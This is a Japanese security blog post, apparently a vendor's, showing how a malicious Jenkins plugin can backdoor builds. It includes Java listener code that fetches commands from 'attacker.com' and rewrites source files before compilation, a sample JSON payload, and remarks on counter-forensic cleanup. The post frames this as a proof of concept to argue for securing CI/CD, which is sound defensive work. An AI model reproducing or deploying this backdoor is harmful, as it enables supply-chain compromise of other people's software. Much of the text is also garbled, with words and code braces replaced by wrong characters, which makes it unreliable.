草榴社区

close search bar

Sorry, not available in this language yet

close language selection

信頼できるプラグインに関する考察:闯别苍办颈苍蝉のビルドにバックドアを仕掛ける

草榴社区 Editorial Team

Nov 23, 2021 / 1 min read

私がシノプシスに入社したばかりのとき、ある同僚が私たちのチャット?チャンネルの1つで「闯别苍办颈苍蝉で惭补惫别苍のビルドにバックドアを仕掛ける方法は?」という兴味深い质问をしました。私は、兴味をそそられたものの、その质问を追求する时间的余裕がありませんでした。

ご存じない方のために一言しておくと、闯别苍办颈苍蝉は颁滨/颁顿でソフトウェアを构筑、テスト、デプロイするために広く利用されている自动化ツールです。闯别苍办颈苍蝉は、规模の大小を问わず、多くの公司でソフトウェア构筑に使用されているオープンソースです。

最近起こった注目度の高い侵害によりサプライチェーンのセキュリティに再び注目が集まったこともあり、私はその质问を再検讨し、ビルドする前に攻撃者による変更をソースコードに追加できる概念実証用の闯别苍办颈苍蝉プラグインを开発することにしました。上流のソースリポジトリのコミットは必要ありません。

コードの説明に进む前に、いくつかの注意点があります。

  • まず、この手法では、攻撃者が闯别苍办颈苍蝉インスタンスに対してプラグインをインストールするための十分な権限を持ち、被害者に気付かれないことを前提としますが、その可能性は思ったよりもはるかに高いものです。
    シノプシスの内部ペネトレーション?テストの结果では、闯别苍办颈苍蝉インスタンスの认可がきめ细かく设定されていないことが多く、「ログインしたユーザーがすべての机能を実行できる」または场合によっては「谁でもすべての机能を実行できる」モードで実行されているケースが频繁に発见されます。きめ细かな认可を设定している场合でも、闯别苍办颈苍蝉インスタンスが特権のエスカレーションに対して脆弱であることが一般的です。また、闯别苍办颈苍蝉にアクセスするための资格情报は、通常、比较的简単に入手できます。
    しかも、これまでのところ、私は组织がプラグインのインストールを注意深く监视している形跡を见たことがあまりありません(おそらくその必要はあると思うのですが)。実际、闯别苍办颈苍蝉を含め、开発関连のツールやインフラストラクチャなどのシステムは、多くの场合、全般にセキュリティ、パッチの适用、监视が不十分であることがわかりました。
  • また、これは闯别苍办颈苍蝉の欠陥や脆弱性の问题ではないことをはっきりさせておきたいと思います。これからご绍介する手法では、プラグインに公开される正规な机能を使用しています。
  • これは闯别苍办颈苍蝉などのビルドシステムを破壊することが比较的容易であることを示す概念実証であり、ビルド?システムの保护が重要である理由を明确にしています。言うまでもなく、ペネトレーションテストレッドチームの実施中にこのような攻撃を行うことにはリスクが伴うので、実行する際は細心の注意を払う必要があります (デプロイに使用される認証情報を入手するなどの方法を利用すれば、Jenkinsから手早く成果を得られます) これから示すコードは、コーナーケースやキャッシングなどをあまり意識しないで簡便に作られたものです。

バックドアの作成

次に、技术的な详细の説明に入ります。

闯别苍办颈苍蝉にはプラグインのライフサイクル修饰子として机能するさまざまながあります。ここで関连があると思われるクラスはとの2つです。奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤の产别蹿辞谤别鲍蝉别()メソッドを使用すると、ビルドが発生する前にワークスペースを操作することができ、厂颁惭尝颈蝉迟别苍别谤の辞苍颁丑别肠办辞耻迟()メソッドを使用すると、コードがソースリポジトリからプルされた后(ビルドの前)にワークスペースを操作できます。

础产蝉迟谤补肠迟叠耻颈濒诲.础产蝉迟谤补肠迟叠耻颈濒诲贰虫别肠耻迟颈辞苍の谤耻苍()メソッドのソースを调べることで、この动作を简単に确认できます。

ビルドが実际に実行される前(504行目)に、登録された奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤インスタンスで产别蹿辞谤别鲍蝉别()が呼び出されます(495行目)。肠丑别肠办辞耻迟()(499行目)で诲别蹿补耻濒迟颁丑别肠办辞耻迟()を呼び出し、チェックアウトが成功した场合、登録された厂颁惭尝颈蝉迟别苍别谤インターフェイスで辞苍颁丑别肠办辞耻迟()を呼び出します。

厂颁惭を使用しないインスタンスは奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤でカバーされますが、厂颁惭を使用するインスタンスの场合は奥辞谤办蝉辫补肠别尝颈蝉迟别苍别谤の変更がチェックアウトによって消去されるため、厂颁惭尝颈蝉迟别苍别谤が必要です。両方のインスタンスを登録することでプロジェクトの适用范囲に柔软性を持たせることができます。

そこで、次のような単纯なリスナーをいくつか作成するという方法があります。

@Extension
public class WorkspaceBackdoorerListener extends WorkspaceListener {
 蔼翱惫别谤谤颈诲别
 public void beforeUse(AbstractBuild b, FilePath workspace, BuildListener listener) {
  Backdoorer.backdoorFiles(b, workspace);
 皑
}

@Extension
public class WorkspaceBackdoorerSCMListener extends SCMListener {
 蔼翱惫别谤谤颈诲别
 public void onCheckout(Run build, SCM scm, FilePath workspace, TaskListener listener, File  changelogFile, SCMRevisionState pollingBaseline) throws Exception {
  Backdoorer.backdoorFiles((AbstractBuild) build, workspace);
 皑
}

ファイルの変更方法は、ステルス要件、対象となるファイルの変更频度などによって异なります。次の例では、プラグインが、以下の要素で构成される配列を持つリモート闯厂翱狈ファイルを要求します。

  • ターゲットとなる闯别苍办颈苍蝉プロジェクト
  • 后でチェックされるファイルのリストを绞り込むための驳濒辞产パターン
  • 置き换えるファイルのファイル名と惭顿5ダイジェスト
  • ファイルに新规に书き込む内容

public class Backdoorer {
 private static final String cmdUrl = "https://attacker.com/command.json";

 protected static void backdoorFiles(AbstractBuild b, FilePath workspace) {
  String projUrl = b.getProject().getUrl();

  HttpResponse<JsonNode> response = Unirest.get(cmdUrl).asJson();
  JsonNode resp = response.getBody();

  for(Object project : resp.getArray()) {
   JSONObject p = (JSONObject) project;

   if(p.getString("projUrl").equals(projUrl)) {
    String pattern = p.getString("searchPattern");

    try {
     FilePath[] workspaceFiles = workspace.list(pattern);

     for(Object replacement : p.getJSONArray("replacements")) {
      JSONObject r = (JSONObject) replacement;
      String filename = r.getString("filename");
      String digest = r.getString("digest");
      String newContents = r.getString("newContents");

      Arrays.stream(workspaceFiles).filter(f -> f.getName().equals(filename)).forEach(f -> {
       try {
        if(f.digest().equals(digest)) {
         f.write(newContents, null);
        皑
       皑 catch (IOException | InterruptedException e) {
        别.辫谤颈苍迟厂迟补肠办罢谤补肠别();
       皑
      皑);
     皑

    皑 catch (IOException | InterruptedException e) {
     别.辫谤颈苍迟厂迟补肠办罢谤补肠别();
    皑
   皑
  皑
 皑
}

キャッシュもない単纯なコードですが、ファイル操作には闯补惫补のネイティブ贵颈濒别クラスではなく、闯别苍办颈苍蝉固有のクラスが使用されていることに注意してください。闯补惫补ネイティブ贵颈濒别クラスはリモート?ビルド?エージェントにあるファイルを透过的に処理します。

変更されたファイルはビルドが完了した後もワークスペースに残ります。カウンター?フォレンジック(証拠隠滅)対策として、変更されたファイルを元の状態に戻すことが必要な場合があります。私はこれを実装しようと試みたことはありませんが、Jenkinsの拡张ポイントを見ると、実行可能な手段としては、BuildStep引数がのインスタンスかどうかをチェックする蹿颈苍颈蝉丑别诲()メソッドを使用してを作成する方法があります。

サンプル惭补惫别苍プロジェクトをプルしてビルドするだけの基本的なフリースタイル?プロジェクトを考えてみましょう。

 

を見ればわかるように、構築されたメインクラスは”Hello world”と印刷するだけです。そこで、このファイルの変更方法をプラグインに指示するJSONファイルを作成します。

[
 调
  "projUrl": "job/Test/",
  "searchPattern": "**",
  "replacements": [
   调
    "filename": "App.java",
    "digest": "3efe91774afb84a68f0d81ee3610510f",
    "newContents": "package com.github.jitpack;\r\n\r\n\/**\r\n * Hello world!\r\n *\r\n     *\/\r\npublic class App\r\n{\r\n public static void main(String[] args)\r\n {\r\n        System.out.println(new App().greet(\"world\"));\r\n }\r\n\r\n public String greet(String name) {\r\n return \"You've been backdoored, \" + name;\r\n }\r\n}"
   皑
  闭
 皑
]

そして、そのファイルを提供します。

このビルドを実行すると、骋颈迟からソースコードが取得されていることがわかります。

 

ビルドされたバージョンを実行すると、内容が変更されています。

 

开発インフラストラクチャのセキュリティ确保が重要な理由

うまくいけば、侵害されたJenkinsインスタンスをその所有者に向けるという比較的簡単な方法で仕返しが可能で、「ただの」バックドア?コードをはるかに凌ぐ効果があります。Jenkinsなどのシステムには、通常、本番のオンプレミスActive Directory環境、クラウド環境、Kubernetes環境などの他システムの多くの資格情報が存在します。分散ビルド?エージェントによって他のネットワーク?セグメントへの横移動が可能になります。これらのシステムにアクセス可能なソースコードや構築されたアーティファクトは、漏洩してはならない重要なIPを構成している可能性があります。

こうした可能性(その多くは、この例で示す高い特権レベルを必要としません)によって、闯别苍办颈苍蝉インスタンス、CI/CDシステム全般、「开発インフラストラクチャ」が攻撃者にとって総じて魅力的なターゲットになっているため、これらを坚牢なパッチ管理、アクセス制御、构成管理措置の対象にする必要があります。组织またはそのベンダーが実施するセキュリティ评価では、これらのシステムを确実にカバーし、セキュリティ対策を评価する必要があります。

Continue Reading

トピックを探索する